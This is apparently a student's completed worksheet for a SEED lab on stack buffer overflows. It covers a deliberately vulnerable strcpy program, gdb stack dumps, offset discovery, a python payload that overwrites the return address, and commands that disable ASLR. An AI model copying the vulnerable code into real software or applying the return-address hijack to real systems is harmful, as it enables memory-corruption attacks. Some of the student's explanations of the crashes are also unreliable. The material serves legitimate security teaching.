Notes from Exploring Stack Addresses & Shellcode

Overview

Today we will explore addresses on the stack and shellcode. Keep detailed notes below (place your comments in between the provided horizontal lines); you will be referring to these in the future to do your work.

We will be working in your 16.4 SEED Lab Ubuntu VM, so start that now and open a terminal window. Our VM is a 32-bit Ubuntu, therefore, gcc will build 32-bit binaries. (If you are using a 64-bit VM – and you certainly not be doing so! – you will need an `libc6-dev-i386` library in order to compile 32-bit binaries.)

Important note:

From this studio on, you will start using tools and command-line utilities, such as gdb, objdump, and grep natively. Take notes as needed and use resources such as Google and 'man pages' to make sure you understand how to use these tools. Let us know if you have any questions.
We use GATES to simplify the Q&A session.

Part 1: Understanding the vulnerability

GATE 1

In this Gate, we will explore a vulnerable program.
Using a text editor, create the file ans_check.c and fill it with the following text:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_answer(char *ans) {

  int ans_flag = 0;
  char ans_buf[16];
  strcpy(ans_buf, ans);

  if (strcmp(ans_buf, "forty-two") == 0)
    ans_flag = 1;

  return ans_flag;

}

int main(int argc, char *argv[]) {

  if (argc < 2) {
    printf("Usage: %s <answer>\n", argv[0]);
    exit(0);
  }
  if (check_answer(argv[1])) {
    printf("Right answer!\n");
  } else {
    printf("Wrong answer!\n");
  }

}
```

Take a moment to read and understand this code. Between the lines below, briefly explain what it does.

Receive an input from the user and compare it with ‘forty-two’ string.
If it matches, then return ‘Right answer!’.
If it doesn’t, then reuturn’ Wrong answer!’

Next, compile the program as follows.

```
gcc -g -fno-stack-protector -o ans_check ans_check.c
```

Use the following transcript to execute the program several times. Capture your console transcript in the space following (There are exactly 29 “1”s).

```
./ans_check
./ans_check yes
./ans_check forty-two
./ans_check 11111111111111111111111111111
```

```
[02/09/22]seed@VM:Byeongchan$ ./ans_check
Usage: ./ans_check <answer>
```

```
[02/09/22]seed@VM:Byeongchan$ ./ans_check yes
Wrong answer!
[02/09/22]seed@VM:Byeongchan$ ./ans_check forty-two
Right answer!
[02/09/22]seed@VM:Byeongchan$ ./ans_check 1111111111111111111111111111
Right answer!
Segmentation fault
[02/09/22]seed@VM:Byeongchan$
```

Can you explain the last result? We will consider this in the remainder of the lab.

Wow, maybe the input from the user wrote over the ‘ans_flag’. Therefore, it returned ‘Right answer!’. And compiler recognized the stack was changed, so it stopped the program.

GATE 2

To see what's happening, we will examine execution within gdb. Use the following transcript, and capture the output between the lines below. These lines will set two breakpoints, one in line 10 and another in line 15. Go back to the source code and make sure you understand where the program is going to break.

```
gdb ans_check -q
list 1
list
list
break 10
break 15
run 11111111111111111111111111111
```

```
[02/09/22]seed@VM:Byeongchan$ gdb ans_check -q
Reading symbols from ans_check...done.
gdb-peda$ list 1
1	#include <stdio.h>
2	#include <stdlib.h>
3	#include <string.h>
4
5	int check_answer(char *ans) {
6
7	  int ans_flag = 0;
8	  char ans_buf[16];
9
```

```
10        strcpy(ans_buf, ans);
gdb-peda$ list
11
12        if (strcmp(ans_buf, "forty-two") == 0)
13          ans_flag = 1;
14
15        return ans_flag;
16
17      }
18
19      int main(int argc, char *argv[]) {
20
gdb-peda$ list
21        if (argc < 2) {
22          printf("Usage: %s <answer>\n", argv[0]);
23          exit(0);
24        }
25        if (check_answer(argv[1])) {
26          printf("Right answer!\n");
27        } else {
28          printf("Wrong answer!\n");
29        }
30
gdb-peda$ break 10
Breakpoint 1 at 0x80484d8: file ans_check.c, line 10.
gdb-peda$ break 15
Breakpoint 2 at 0x8048509: file ans_check.c, line 15.
gdb-peda$ run 11111111111111111111111111111
Starting program: /home/seed/lab3/ans_check 11111111111111111111111111111
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------]
EAX: 0xbfffef24 ('1' <repeats 29 times>)
EBX: 0x0
ECX: 0xbfffec70 --> 0x2
EDX: 0xbfffec94 --> 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffec38 --> 0xbfffec58 --> 0x0
ESP: 0xbfffec10 --> 0xffffffff
EIP: 0x80484d8 (<check_answer+13>:	sub    esp,0x8)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
```

```
   0x80484cc <check_answer+1>:     mov    ebp,esp
   0x80484ce <check_answer+3>:     sub    esp,0x28
   0x80484d1 <check_answer+6>:     mov    DWORD PTR [ebp-0xc],0x0
=> 0x80484d8 <check_answer+13>: sub    esp,0x8
   0x80484db <check_answer+16>:   push   DWORD PTR [ebp+0x8]
   0x80484de <check_answer+19>:   lea    eax,[ebp-0x1c]
   0x80484e1 <check_answer+22>:   push   eax
   0x80484e2 <check_answer+23>:   call   0x8048380 <strcpy@plt>
[----------------------------------stack-----------------------------------]
0000| 0xbfffec10 --> 0xffffffff
0004| 0xbfffec14 --> 0xb7d66000 --> 0x172664
0008| 0xbfffec18 --> 0xb7d76dc8 --> 0x2b76 ('v+')
0012| 0xbfffec1c --> 0xb7ffd2f0 --> 0xb7d6a000 --> 0x464c457f
0016| 0xbfffec20 --> 0xb7fd44e8 --> 0xb7fd3aa8 --> 0xb7fbae40
(<_ZN5boost15program_options6detail18utf8_codecvt_facetD2Ev>:         push   ebx)
0020| 0xbfffec24 --> 0xb7fd445c (0xb7fd445c)
0024| 0xbfffec28 --> 0xb7fd27bc --> 0xb7f7aeb0 (<frame_dummy>:          call   0xb7f7aeec
<__x86.get_pc_thunk.dx>)
0028| 0xbfffec2c --> 0x0
[--------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, check_answer (ans=0xbfffef24 '1' <repeats 29 times>)
    at ans_check.c:10
10          strcpy(ans_buf, ans);
```

As you may know, debug breakpoints trigger before the designated instruction/line has executed. So, in this case, we are on the strcpy line but it has not yet executed. Examine the two key values, as follows, and copy the output below.

```
x/s ans_buf
x/xw &ans_flag
```

```
gdb-peda$ x/s ans_buf
0xbfffec1c:      "\360\322\377\267\350D\375\267\\D\375\267\274", <incomplete sequence
\375\267>
gdb-peda$ x/xw &ans_flag
0xbfffec2c:      0x00000000
gdb-peda$
```

Continue execution by entering `c <enter>` on the gdb command line.

At this breakpoint, the strcpy has completed, so once again examine the variables and copy the output below.

```
x/s ans_buf
x/xw &ans_flag
```

```
gdb-peda$ x/s ans_buf
0xbfffec1c:     '1' <repeats 29 times>
gdb-peda$ x/xw &ans_flag
0xbfffec2c:     0x31313131
gdb-peda$
```

So this stack buffer overflow spilled over into the condition variable. In C, any non-zero value evaluates to "true" so the conditional check on line 25 passes . You may have noticed that if the static variables had been laid out in a different order (ans_buf above ans_flag), then it would have been safe from the overflow. So, this type of vulnerability may exist in a program, but it will not always be there. We next consider the vulnerability that will always be present.

Exit gdb with `quit`.

GATE 3

Enter gdb again with the following command.

```
gdb ans_check -q
```

Set a breakpoint at line 25. Record below the address associated with this breakpoint.

```
gdb-peda$ break 25
Breakpoint 1 at 0x8048546: file ans_check.c, line 25.
```

Now, disassemble the main function with the following command, and copy the output below.

```
disass main
```

(Note that you can change the SEED lab VM gdb x86 assembly syntax from Intel to AT&T with the command `set disassembly-flavor att`.)

In the main disassembly, find the address of the breakpoint. The assembly instructions starting here and ending with the call to `check_answer` implement line 25. Record in the following space the address of the instruction after the call. This is the **return address**, and we'll be looking for it shortly.

```
  0x08048552 <+68>:          call   0x80484cb <check_answer>
 0x08048557 <+73>:add    esp,0x10
```

Next, set breakpoints for lines 10 and 15. That makes a total of 3 breakpoints set: line 25 (pre-call), line 10 (pre-strcpy), and line 15 (pre-return).

Now execute the program with the following gdb command.

```
run 11111111111111111111111111111
```

Next, examine the stack register and the stack itself with the following commands. Record the output below. (You may find it easier to read if you shrink the font of your captured output so that lines are not broken.)

```
i r esp
x/32xw $esp
```

```
gdb-peda$ i r esp
esp            0xbfffec50 0xbfffec50
gdb-peda$ x/32xw $esp
0xbfffec50:     0xb7f1c3dc      0xbfffec70      0x00000000      0xb7d82637
0xbfffec60:     0xb7f1c000      0xb7f1c000      0x00000000      0xb7d82637
0xbfffec70:     0x00000002      0xbfffed04      0xbfffed10      0x00000000
0xbfffec80:     0x00000000      0x00000000      0xb7f1c000      0xb7fffc04
0xbfffec90:     0xb7fff000      0x00000000      0xb7f1c000      0xb7f1c000
0xbfffeca0:     0x00000000      0x812855b6      0xcebb5ba6      0x00000000
0xbfffecb0:     0x00000000      0x00000000      0x00000002      0x080483d0
0xbfffecc0:     0x00000000      0xb7feff10      0xb7fea780      0xb7fff000
```

The output above displays the stack location and the stack contents prior to the call to `check_answer`.

Enter `c <enter>` to move to the next breakpoint.

Once again, examine the stack information and record the output below.

```
i r esp
x/32xw $esp
```

```
gdb-peda$ i r esp
```

```
esp            0xbfffec10 0xbfffec10
gdb-peda$ x/32xw $esp
0xbfffec10:     0xffffffff      0xb7d66000      0xb7d76dc8      0xb7ffd2f0
0xbfffec20:     0xb7fd44e8      0xb7fd445c      0xb7fd27bc      0x00000000
0xbfffec30:     0xb7f1c3dc      0x00000000      0xbfffec58      0x08048557
0xbfffec40:     0xbfffef24      0xbfffed04      0xbfffed10      0x080485b1
0xbfffec50:     0xb7f1c3dc      0xbfffec70      0x00000000      0xb7d82637
0xbfffec60:     0xb7f1c000      0xb7f1c000      0x00000000      0xb7d82637
0xbfffec70:     0x00000002      0xbfffed04      0xbfffed10      0x00000000
0xbfffec80:     0x00000000      0x00000000      0xb7f1c000      0xb7fffc04
```

- ➔ Prof. I made them red and bold.
- ➔ 0xb7ffd2f0 is for ans_buf
- ➔ 0x00000000 is for &ans_flag
- ➔ 0x08048557 is for return address

Examine the address and contents of the two static variables, as follows.

```
x/s ans_buf
x/xw &ans_flag
```

Find them in the stack output above, and change the font of stack locations to be bold. Similarly, find the word in the stack that corresponds to the return address that you recorded above. Change that word's font to bold as well.

Finally, continue execution with `c <enter>`. Capture the stack information below, and change the text corresponding to `ans_buf`, `ans_flag` and the return address to bold.

```
i r esp
x/32xw $esp
```

```
gdb-peda$ i r esp
esp            0xbfffec10 0xbfffec10
gdb-peda$ x/32xw $esp
0xbfffec10:     0xffffffff      0xb7d66000      0xb7d76dc8      0x31313131
0xbfffec20:     0x31313131      0x31313131      0x31313131      0x31313131
0xbfffec30:     0x31313131      0x31313131      0xbfff0031      0x08048557
0xbfffec40:     0xbfffef24      0xbfffed04      0xbfffed10      0x080485b1
0xbfffec50:     0xb7f1c3dc      0xbfffec70      0x00000000      0xb7d82637
0xbfffec60:     0xb7f1c000      0xb7f1c000      0x00000000      0xb7d82637
0xbfffec70:     0x00000002      0xbfffed04      0xbfffed10      0x00000000
0xbfffec80:     0x00000000      0x00000000      0xb7f1c000      0xb7fffc04
```

```
gdb-peda$
```

As you can see, ans_flag has been overwritten on the stack but the return address has not been modified.

Next, we will learn how to exploit this vulnerability by overwriting the return address.

Part 2: Exploiting the vulnerability

In this part, we will exploit the program using a shellcode, and with both ASLR and NX disabled. Keep the high-level motivation in mind: Our attack vector will contain a shellcode that spawns a new shell, and we will need to overwrite the return address with the address of the destination buffer to execute it.
You will do the following:

1. Find the return address on the stack
2. Find the offset between the buffer and the return address
3. Find a shellcode.
4. Construct a payload.

GATE 1

Make a folder called "stack_addresses" and enter the new directory. Using nano or the text editor of your choice, create a file ans_check5.c and fill it with the following:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_answer(char *ans) {

  int ans_flag = 0;
  char ans_buf[32];

  printf("ans_buf is at address %p\n", &ans_buf);

  strcpy(ans_buf, ans);

  if (strcmp(ans_buf, "forty-two") == 0)
```

```
    ans_flag = 1;

  return ans_flag;

}

int main(int argc, char *argv[]) {

  if (argc < 2) {
    printf("Usage: %s <answer>\n", argv[0]);
    exit(0);
  }
  if (check_answer(argv[1])) {
    printf("Right answer!\n");
  } else {
    printf("Wrong answer!\n");
  }
  printf("About to exit!\n");
  fflush(stdout);
}
```

Take a moment to read through the code. This is similar to the file ans_check.c that we examined in an earlier exercise; the differences are in bold. Next, compile the C file with the following options.

```
gcc -g -z execstack -fno-stack-protector ans_check5.c -o ans_check5
```

As we discussed in class, the option "-z execstack" marks the stack as executable. You can also install a standalone execstack program to do the same for pre-compiled binaries. (sudo apt-get install execstack; execstack -s TGT.) This will allow us to include executable content in our stack buffer overflow input. Run the program on the command line as follows, and copy the output between the lines below.

```
./ans_check5 forty-two
```

```
[02/09/22]seed@VM:Byeongchan$ ./ans_check5 forty-two  ans_buf is at address 0xbfeefacc
Right answer!
About to exit!
[02/09/22]seed@VM:Byeongchan$
```

GATE 2

Now, run the program with Python-derived input as follows.

```
./ans_check5 $(python -c "print '0'*5")
```

By varying the length of the input that we provide (ie, by changing 5 in the preceding command line to other numbers), we can discover A) if the program is vulnerable to a stack buffer overflow on its command line input, and B) what input length is needed to corrupt the stack.

Now, increase the size of the input until the program crashes with segfault. There are two ways we can segfault our program. One will segfault after the “About to exit” line is printed . The other will segfault without displaying this string. We are interested in the size of the input necessary for the second type of segfault. Include the seg-faulting command line and output below. Your number of zeroes should be the smallest number possible necessary to seg fault the program in this way.

```
[02/09/22]seed@VM:Byeongchan$ ./ans_check5 $(python -c "print '0'*49")
ans_buf is at address 0xbfe2d82c
Segmentation fault
[02/09/22]seed@VM:Byeongchan$ ./ans_check5 $(python -c "print '0'*48")
ans_buf is at address 0xbf8fe32c
Segmentation fault
[02/09/22]seed@VM:Byeongchan$ ./ans_check5 $(python -c "print '0'*47")
ans_buf is at address 0xbf88027c
Right answer!
About to exit!
Segmentation fault
```

Without stepping through a debugger, explain the difference between these two ways of causing a seg fault. Do not take more than 90 seconds to do this, this is a best effort question.

I think, first type of segmentation fault is like the complier found out that the memory content had been corrupted by other factors, but return address had not been corrupted. However, second type of fault is when the return address had been corrupted and complier had to kill the process.

GATE 3

The previous step showed us approximately how large our input must be to corrupt the stack. We can use gdb to find the exact offset, but for now, we are going to explore another way to verify that.
Rather than filling the stack with meaningless data, we will now fill it with an address that will hijack program execution.

Examine the disassembled binary with the following command, and include your output below.

```
objdump -D ans_check5 | grep -B 1 exit
```

```
[02/09/22]seed@VM:Byeongchan$ objdump -D ans_check5 | grep -B 1 exit

08048400 <exit@plt>:
--
 80485b3:       6a 00                   push   $0x0
 80485b5:       e8 46 fe ff ff          call   8048400 <exit@plt>
[02/09/22]seed@VM:Byeongchan$
```

The “-B 1” option causes grep to print one line preceding the line containing “exit”. This two code sequence will cause the program to exit. So, we will craft an input that causes execution to branch to the first of the two instructions. Let’s suppose the first address is `0xdeadbeef`. We can now build an invocation like this:

```
./ans_check5 $(python -c "print '\xAA'*N + '\xef\xbe\xad\xde'")
```

where N is equal to the input size determined in Gate Two. It may take some experimenting to find the correct value for N, so if it doesn’t work, increment it (or, failing that, decrement it) by one until it does. (The location of the stack is influenced by the size of the command line parameters.) When it works, the program should exit without giving a right or wrong answer message, or a segfault. Include your successful attempt and its output below.

```
[02/09/22]seed@VM:Byeongchan$ ./ans_check5 $(python -c "print '\xAA'*47 +
'\xb3\x85\x04\x08'")
ans_buf is at address 0xbfeb8ccc
Segmentation fault
[02/09/22]seed@VM:Byeongchan$ ./ans_check5 $(python -c "print '\xAA'*48 +
'\xb3\x85\x04\x08'")
ans_buf is at address 0xbf9573ec
[02/09/22]seed@VM:Byeongchan$
```

Not that this is not an accurate measure, so it is not recommended in your homework assignment.

GATE 4

We will now use gdb to examine the state of the stack both before and after the buffer overflow, and get the exact offset.

First, let's again examine the disassembled binary to find uses of known vulnerable library functions like strcpy (others include strcat, sprintf, and vsprintf). Use the following command line and copy your output below.

```
objdump -D ans_check5 | grep -A 1 strcpy
```

```
[02/09/22]seed@VM:Byeongchan$ objdump -D ans_check5 | grep -A 1 strcpy
080483e0 <strcpy@plt>:
 80483e0:	ff 25 18 a0 04 08	jmp    *0x804a018
--
 8048556:	e8 85 fe ff ff		call   80483e0 <strcpy@plt>
 804855b:	83 c4 10		add    $0x10,%esp
```

In this case, the "-A 1" prints one line following the line containing "strcpy". You may see multiple line-pairs in the output. We are interested in the one with the call to strcpy@plt. Let {ADDR1} be the address of the strcpy@plt call line, and {ADDR2} be the address of the instruction immediately after it. We will now invoke gdb, set two breakpoints, and run, using the following transcript as a guide. Below, replace addresses {ADDR1} and {ADDR2} with those gathered from the previous objdump command. Also, replace {PYTHON} with the python expression that will corrupt the return address (you can use the expression derived two steps above). Paste your command and its output below.

```
gdb -q ans_check5
#Set breakpoints for the two addresses above
break *0x{ADDR1}
break *0x{ADDR2}
run $({PYTHON})
```

My execution is like below

```
break *0x8048556
break *0x804855b
run $( python -c "print '\xAA'*48 + '\xb3\x85\x04\x08'")

i r esp
x/32xw $esp
c
i r esp
x/32xw $esp
```

```
[02/10/22]seed@VM:Byeongchan$ gdb -q ans_check5
Reading symbols from ans_check5...done.
gdb-peda$ break *0x8048556
Breakpoint 1 at 0x8048556: file ans_check5.c, line 12.
gdb-peda$ break *0x804855b
Breakpoint 2 at 0x804855b: file ans_check5.c, line 12.
gdb-peda$ run $( python -c "print '\xAA'*48 + '\xb3\x85\x04\x08'")
Starting program: /home/seed/stack_addresses/ans_check5 $( python -c "print '\xAA'*48 +
'\xb3\x85\x04\x08'")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
ans_buf is at address 0xbfffebdc

[----------------------------------registers-----------------------------------]
EAX: 0xbfffebdc --> 0xb7fd445c (0xb7fd445c)
EBX: 0x0
ECX: 0x0
EDX: 0xbfffe774 --> 0xb7dc6090 (<__funlockfile>:   mov    eax,DWORD PTR [esp+0x4])
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffec08 --> 0xbfffec28 --> 0x0
ESP: 0xbfffebc0 --> 0xbfffebdc --> 0xb7fd445c (0xb7fd445c)
EIP: 0x8048556 (<check_answer+43>:        call   0x80483e0 <strcpy@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804854f <check_answer+36>:    push   DWORD PTR [ebp+0x8]
   0x8048552 <check_answer+39>:    lea    eax,[ebp-0x2c]
   0x8048555 <check_answer+42>:    push   eax
=> 0x8048556 <check_answer+43>:    call   0x80483e0 <strcpy@plt>
   0x804855b <check_answer+48>:    add    esp,0x10
   0x804855e <check_answer+51>:    sub    esp,0x8
   0x8048561 <check_answer+54>:    push   0x80486ca
   0x8048566 <check_answer+59>:    lea    eax,[ebp-0x2c]
Guessed arguments:
arg[0]: 0xbfffebdc --> 0xb7fd445c (0xb7fd445c)
arg[1]: 0xbfffeef6 --> 0xaaaaaaaa
[------------------------------------stack-------------------------------------]
0000| 0xbfffebc0 --> 0xbfffebdc --> 0xb7fd445c (0xb7fd445c)
0004| 0xbfffebc4 --> 0xbfffeef6 --> 0xaaaaaaaa
0008| 0xbfffebc8 --> 0xbfffebe0 --> 0xffffffff
0012| 0xbfffebcc --> 0x80482c7 ("__libc_start_main")
0016| 0xbfffebd0 --> 0x0
0020| 0xbfffebd4 --> 0xbfffec74 --> 0x4fe1847c
```

```
0024| 0xbfffebd8 --> 0xb7fd44e8 --> 0xb7fd3aa8 --> 0xb7fbae40
(<_ZN5boost15program_options6detail18utf8_codecvt_facetD2Ev>:         push   ebx)
0028| 0xbfffebdc --> 0xb7fd445c (0xb7fd445c)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048556 in check_answer (
    ans=0xbfffeef6 '\252' <repeats 48 times>, "\263\205\004\b")
    at ans_check5.c:12
warning: Source file is more recent than executable.
12          strcpy(ans_buf, ans);
gdb-peda$ x/32xw $esp
0xbfffebc0:     0xbfffebdc      0xbfffeef6      0xbfffebe0      0x080482c7
0xbfffebd0:     0x00000000      0xbfffec74      0xb7fd44e8      0xb7fd445c
0xbfffebe0:     0xffffffff      0xb7d66000      0xb7d76dc8      0xb7ffd2f0
0xbfffebf0:     0xb7fd44e8      0xb7fd445c      0xb7fd27bc      0x00000000
0xbfffec00:     0xb7f1c3dc      0x00000000      0xbfffec28      0x080485cb
0xbfffec10:     0xbfffeef6      0xbfffecd4      0xbfffece0      0x08048651
0xbfffec20:     0xb7f1c3dc      0xbfffec40      0x00000000      0xb7d82637
0xbfffec30:     0xb7f1c000      0xb7f1c000      0x00000000      0xb7d82637
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
EAX: 0xbfffebdc --> 0xaaaaaaaa
EBX: 0x0
ECX: 0xbfffef20 --> 0xaaaaaaaa
EDX: 0xbfffec06 --> 0xaaaaaaaa
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffec08 --> 0xaaaaaaaa
ESP: 0xbfffebc0 --> 0xbfffebdc --> 0xaaaaaaaa
EIP: 0x804855b (<check_answer+48>:         add    esp,0x10)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048552 <check_answer+39>:   lea    eax,[ebp-0x2c]
   0x8048555 <check_answer+42>:   push   eax
   0x8048556 <check_answer+43>:   call   0x80483e0 <strcpy@plt>
=> 0x804855b <check_answer+48>:   add    esp,0x10
   0x804855e <check_answer+51>:   sub    esp,0x8
   0x8048561 <check_answer+54>:   push   0x80486ca
   0x8048566 <check_answer+59>:   lea    eax,[ebp-0x2c]
   0x8048569 <check_answer+62>:   push   eax
[------------------------------------stack-------------------------------------]
```

```
0000| 0xbfffebc0 --> 0xbfffebdc --> 0xaaaaaaaa
0004| 0xbfffebc4 --> 0xbfffeef6 --> 0xaaaaaaaa
0008| 0xbfffebc8 --> 0xbfffebe0 --> 0xaaaaaaaa
0012| 0xbfffebcc --> 0x80482c7 ("__libc_start_main")
0016| 0xbfffebd0 --> 0x0
0020| 0xbfffebd4 --> 0xbfffec74 --> 0x4fe1847c
0024| 0xbfffebd8 --> 0xb7fd44e8 --> 0xb7fd3aa8 --> 0xb7fbae40
(<_ZN5boost15program_options6detail18utf8_codecvt_facetD2Ev>:       push   ebx)
0028| 0xbfffebdc --> 0xaaaaaaaa
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0804855b in check_answer (
    ans=0xbfffee00
"L\377\377\277_\377\377\277y\377\377\277\233\377\377\277\264\377\377\277") at
ans_check5.c:12
12          strcpy(ans_buf, ans);
gdb-peda$ x/32xw $esp
0xbfffebc0:     0xbfffebdc      0xbfffeef6      0xbfffebe0      0x080482c7
0xbfffebd0:     0x00000000      0xbfffec74      0xb7fd44e8      0xaaaaaaaa
0xbfffebe0:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0xbfffebf0:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0xbfffec00:     0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0x080485b3
0xbfffec10:     0xbfffee00      0xbfffecd4      0xbfffece0      0x08048651
0xbfffec20:     0xb7f1c3dc      0xbfffec40      0x00000000      0xb7d82637
0xbfffec30:     0xb7f1c000      0xb7f1c000      0x00000000      0xb7d82637
gdb-peda$
```

By examining the contents of the stack, identify the start and end address of your input. The start address corresponds to the start of the buffer, and the end address corresponds to the location of the return address. Note them below.

=> BEFORE STRCPY EXEC

```
gdb-peda$ x/32xw $esp
0xbfffebc0:   0xbfffebdc   0xbfffeef6   0xbfffebe0   0x080482c7
0xbfffebd0:   0x00000000   0xbfffec74   0xb7fd44e8   0xb7fd445c
0xbfffebe0:   0xffffffff   0xb7d66000   0xb7d76dc8   0xb7ffd2f0
0xbfffebf0:   0xb7fd44e8   0xb7fd445c   0xb7fd27bc   0x00000000
0xbfffec00:   0xb7f1c3dc   0x00000000   0xbfffec28   0x080485cb
0xbfffec10:   0xbfffeef6   0xbfffecd4   0xbfffece0   0x08048651
0xbfffec20:   0xb7f1c3dc   0xbfffec40   0x00000000   0xb7d82637
0xbfffec30:   0xb7f1c000   0xb7f1c000   0x00000000   0xb7d82637
```

=> AFTER STRCPY EXEC

```
gdb-peda$ x/32xw $esp
0xbfffebc0:   0xbfffebdc   0xbfffeef6   0xbfffebe0   0x080482c7
0xbfffebd0:   0x00000000   0xbfffec74   0xb7fd44e8   0xaaaaaaaa
0xbfffebe0:   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa
0xbfffebf0:   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa
0xbfffec00:   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa   0x080485b3
0xbfffec10:   0xbfffee00   0xbfffecd4   0xbfffece0   0x08048651
0xbfffec20:   0xb7f1c3dc   0xbfffec40   0x00000000   0xb7d82637
0xbfffec30:   0xb7f1c000   0xb7f1c000   0x00000000   0xb7d82637
```

=> Start and end address of my input: 0xbfffebdc ~ 0xbfffec0c
=> I can notice the return address has been changed from ‘0x080485cb’ to ‘0x080485b3’

GATE 5

If you compare this buffer start address to the one reported by the program itself (it prints out the start address), you will find that they match. However, if you execute the program outside of gdb, you will find a different value. There are two reasons for this. First, it is likely that address space layout randomization (ASLR) is active, so each execution will yield a different address (except with gdb, which disables ASLR to ease debugging). Second, even without ASLR, gdb changes some data on the stack, and hence shifts the stack location. It is not unusual for the gdb stack address to be within 0x20 and 0x40 of where it appears outside of gdb when ASLR is disabled. With a bit of exploration, you can find it. In the following, we will both turn off ASLR and see how to deal with gdb’s stack variations.

Quit gdb.
To disable ASLR, follow the following transcript on the command line (or the one from the lecture slides).

```
cat /proc/sys/kernel/randomize_va_space # Write down val
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Later, you can put the original value back, or reboot!
```

Now, if you execute subsequent command lines like “./ans_check5 forty-three” the buffer will have the same start address each time. (Of course, there is some chance that your machine already had ASLR disabled.) Run it a few times, and record the output below.

```
[02/09/22]seed@VM:Byeongchan$ ./ans_check5 forty-three
ans_buf is at address 0xbfffec2c
Wrong answer!
About to exit!
[02/09/22]seed@VM:Byeongchan$ ./ans_check5 forty-three
ans_buf is at address 0xbfffec2c
Wrong answer!
About to exit!
[02/09/22]seed@VM:Byeongchan$ ./ans_check5 forty-three
ans_buf is at address 0xbfffec2c
Wrong answer!
About to exit!
```

Since we are using gdb to find the location of the vulnerable buffer, and we want to use that same address when we invoke our program on the command line, it will be more convenient for us if the command-line invocation and gdb-invocation of our program have precisely the same memory layout (so that the buffer is at the same location with both invocation methods.) By default, this will not be the case because gdb and the command line handle environment variables and command line parameters in slightly different ways, and this introduces a small difference in memory layout, including the stack location. The value of this small difference cannot easily be predicted, but we can eliminate it.

To create a consistent memory layout between gdb and the command-line, we need to provide both invocations with precisely the same environment variables and command-line parameters. We can use the linux utility `env` to do this.

The following command line will create a “clean invocation” of our program, one which has precisely the environment variables and command line parameters that we set, and one that we can replicate in gdb shortly.

```
env -i PWD="/home/seed/labs/lab3/stack_addresses" SHELL="/bin/bash"
SHLVL=0 /home/seed/523/labs/lab3/stack_addresses/ans_check5 heya
```

My version ->
env -i PWD="/home/seed/stack_addresses" SHELL="/bin/bash" SHLVL=0
/home/seed/stack_addresses/ans_check5 heya

You can understand this command as follows.

- `env -i`: env is the utility, and -i will ignore all of the environment variables that exist in the shell.
- `PWD, SHELL, SHLVL` are environment variables that we need for execution, and we set them to these values to match our file system locations for the ans_check5 program. Your path may be different, and **you will need to update PWD to match the working directory that you are using to invoke the program**. (Use the pwd utility on the command line to find it.)
- The program that we invoke has a fully-specified path, as you can see, `/home/seed/…/ans_check5`. In a C program, this corresponds to argv[0] and gets mapped into memory; we want argv[0] to be the same regardless of how we invoke the program, so we will always specify it fully. **You will need to use the right fully-specified path for your file system.**
- `heya`: this is just placeholder input to ans_check5. This is where your {PYTHON} command will go when you have it.

Because `ans_check5` helpfully prints out the address of the buffer each time you run the program, you can run the command-line above several times to verify that the buffer stays at the same address. If you change the size of the input, replacing `heya` with a longer string for example, you will see that the stack address changes. This is useful to remember: when the sizes of your command line arguments change, so will your stack locations.

We can now use the same utility to invoke gdb, as follows.

```
env -i PWD="/home/seed/labs/lab3/stack_addresses" SHELL="/bin/bash"
SHLVL=0 gdb /home/seed/523/labs/lab3/stack_addresses/ans_check5
```

```
My version ->
env -i PWD="/home/seed/stack_addresses" SHELL="/bin/bash" SHLVL=0 gdb
/home/seed/stack_addresses/ans_check5
```

As you can see, this command line differs from the first in two ways. First, gdb is the program we are invoking. Second, our command-line input is the fully-specified path to ans_check5. We will provide input to ans_check5 within gdb itself using the run command, as we have been doing.

If you run that command, after updating the paths to match your environment, you will be in gdb. Within gdb, there is one further setup step required. If you execute a “show env” command in gdb, you will see that the LINES and COLUMNS environment variables have been set. We need to unset these with the following commands.

```
unset env LINES
unset env COLUMNS
```

At this point, our executing environment in gdb matches precisely the one we created on the command line. So, if you run the program with the same input, the self-reported buffer addresses should match.

```
run heya
```

In the space below, provide the transcript showing your inputs and outputs from clean, matching invocations on the command-line and in gdb. The buffer addresses from the two invocations should match.

=> From the shell.

```
[02/09/22]seed@VM:Byeongchan$ env -i PWD="/home/seed/stack_addresses"
SHELL="/bin/bash" SHLVL=0 /home/seed/stack_addresses/ans_check5 heya
ans_buf is at address 0xbffffd9c
Wrong answer!
About to exit!
```

=> From the gdb

```
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) run heya
Starting program: /home/seed/stack_addresses/ans_check5 heya
ans_buf is at address 0xbffffd9c
Wrong answer!
About to exit!
[Inferior 1 (process 6112) exited normally]
(gdb)
```

